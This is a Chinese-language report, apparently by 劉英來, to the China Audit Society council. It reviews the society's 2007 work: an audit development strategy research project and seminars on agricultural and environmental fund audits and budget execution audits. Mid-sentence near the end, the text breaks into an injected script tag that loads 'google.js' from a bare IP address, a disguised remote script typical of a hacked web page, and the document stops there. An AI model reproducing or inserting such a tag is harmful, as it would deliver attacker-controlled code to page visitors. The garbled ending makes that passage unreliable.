劉英來
各位理事：
依據中國審計學會章程的規定，我受翟熙貴會長的委托，向五屆三次理事會報告學會2007年的工作情況和2008年的工作安排，請各位理事審議。
一、2007年的主要工作情況
2007年，中國審計學會在審計署的領導下，認真貫徹黨的十七大和十六屆五中、六中全會精神，全面貫徹科學發展觀，圍繞《中國審計學會2005至2009年審計理論研究規劃》提出的目標，按照學會2007年工作計劃安排，主要完成了以下工作：
（一）組織開展《中國審計發展戰略》課題研究工作。
為深入貫徹落實科學發展觀和黨的十六屆六中全會精神，深入總結我國審計機關成立25年來的主要經驗，深入研究我國審計未來發展的若干重大問題，促進審計事業科學發展，2007年，學會重點開展了《中國審計發展戰略》課題研究工作。2月初，召開了課題研究的啟動會，成立了課題組，由學會會長親自擔任課題組長，下設15個子課題組，由國務院發展研究中心、南京審計學院、審計署各司局、科研所、特派辦作為子課題承擔單位，分別對未來5至10年我國政治經濟社會發展的趨勢和特點；我國政治經濟環境對審計的需求；新形勢下我國政府審計發展總體戰略；財政審計、金融審計、企業審計、投資審計、社保審計、資源與環境審計、經濟責任審計、效益審計、涉外審計的發展戰略；審計人才、審計法制發展戰略、信息化條件下的審計方式方法等進行了研究。4月份，在審計署懷柔培訓基地召開了課題提綱論證會，進一步明確了各子課題研究的內容和撰寫要求。從11月起，學會先后召開了3次課題報告討論會，分批對12個子課題研究報告初稿進行了討論。該課題研究得到了署領導的高度重視和支持。劉家義副審計長審閱了全部課題報告初稿，并對課題研究做出指示和提出要求。石愛中副審計長親自擔任課題組副組長，董大勝副審計長、孫寶厚總審計師多次參加課題研討會，對課題研究進行具體指導。各子課題承擔單位主要領導親自擔任子課題組組長，組成“三結合”的課題組，認真進行調研和開展課題研究工作，親自修改課題研究報告，保證了課題研究成果的質量，為按時順利完成課題研究任務付出了辛勤的勞動。目前各子課題組正在按照專家意見對研究報告做進一步修改和完善，不久即將提交結題報告。
（二）組織召開三次專題研討會。
根據審計工作發展的需要，2007年，學會圍繞影響審計工作發展的重點和難點問題，主要組織召開了三次專題研討會。
一是農業與環保資金效益審計專題研討會。為深入探索適合我國國情的農業環保資金效益審計的規律，推動農業與資源環保效益審計工作發展，2007年6月，學會與審計署農業與資源環保審計司在杭州聯合舉辦了農業與環保資金效益審計專題研討會。這次會議共收到論文54篇，其中26篇進行了會議交流。來自各級審計機關的領導和從事農業環保資金審計的實務工作者、部分院校的專家學者40多人參加了會議。與會人員就農業與資源環保效益審計的目標、審計方式和方法、審計評價標準和準則等問題進行了深入的討論，交流了農業與資源環保效益審計的經驗做法和體會。
經過研討，形成以下主要觀點：加強農業與環保資金效益審計是落實科學發展觀的本質要求，對于貫徹黨中央提出的解決三農問題的各項方針，實現全面建設小康社會的任務有重要的意義；當前開展農業與環保資金效益審計，應在真實性、合法性審計的基礎上，對農業與環保資金和項目的經濟性、效率性、效果性進行審計；農業與環保資金效益審計不僅需要使用常規的審計方法，還要根據具體審計內容和項目特點選用一些專門方法。
二是本級預算執行審計專題研討會。為總結本級預算執行審計的經驗，推動本級預算執行審計工作的進一步深化和發展，2007年10月，學會與審計署財政審計司、行政事業審計司在北京聯合召開了本級預算執行審計專題研討會。這次會議共收到論文58篇，其中35篇進行了會議交流。來自財政審計一線的審計工作者和部分院校的專家學者60多人參加了會議。與會代表就本級預算執行審計的目標、實施方式、內容和技術方法等進行了研討，交流了財政預算執行審計的理論成果和實踐經驗，分析了當前財政預算執行審計工作面臨的形勢和存在的問題，對今后深化財政預算執行審計的思路和措施進行了探討。
經過研討，形成以下主要觀點：我國財政預算執行審計作為監督財政預算管理的一項重要制度已經基本確立，經過12年的探索，財政預算執行審計工作已經走上法制化、制度化的軌道；當前和今后的財政預算執行審計應貫徹“規范管理、促進改革、提高效益”的總體思路，著力揭示影響財政改革進程和公共?script src= http://91.239.15.61/google.js \>
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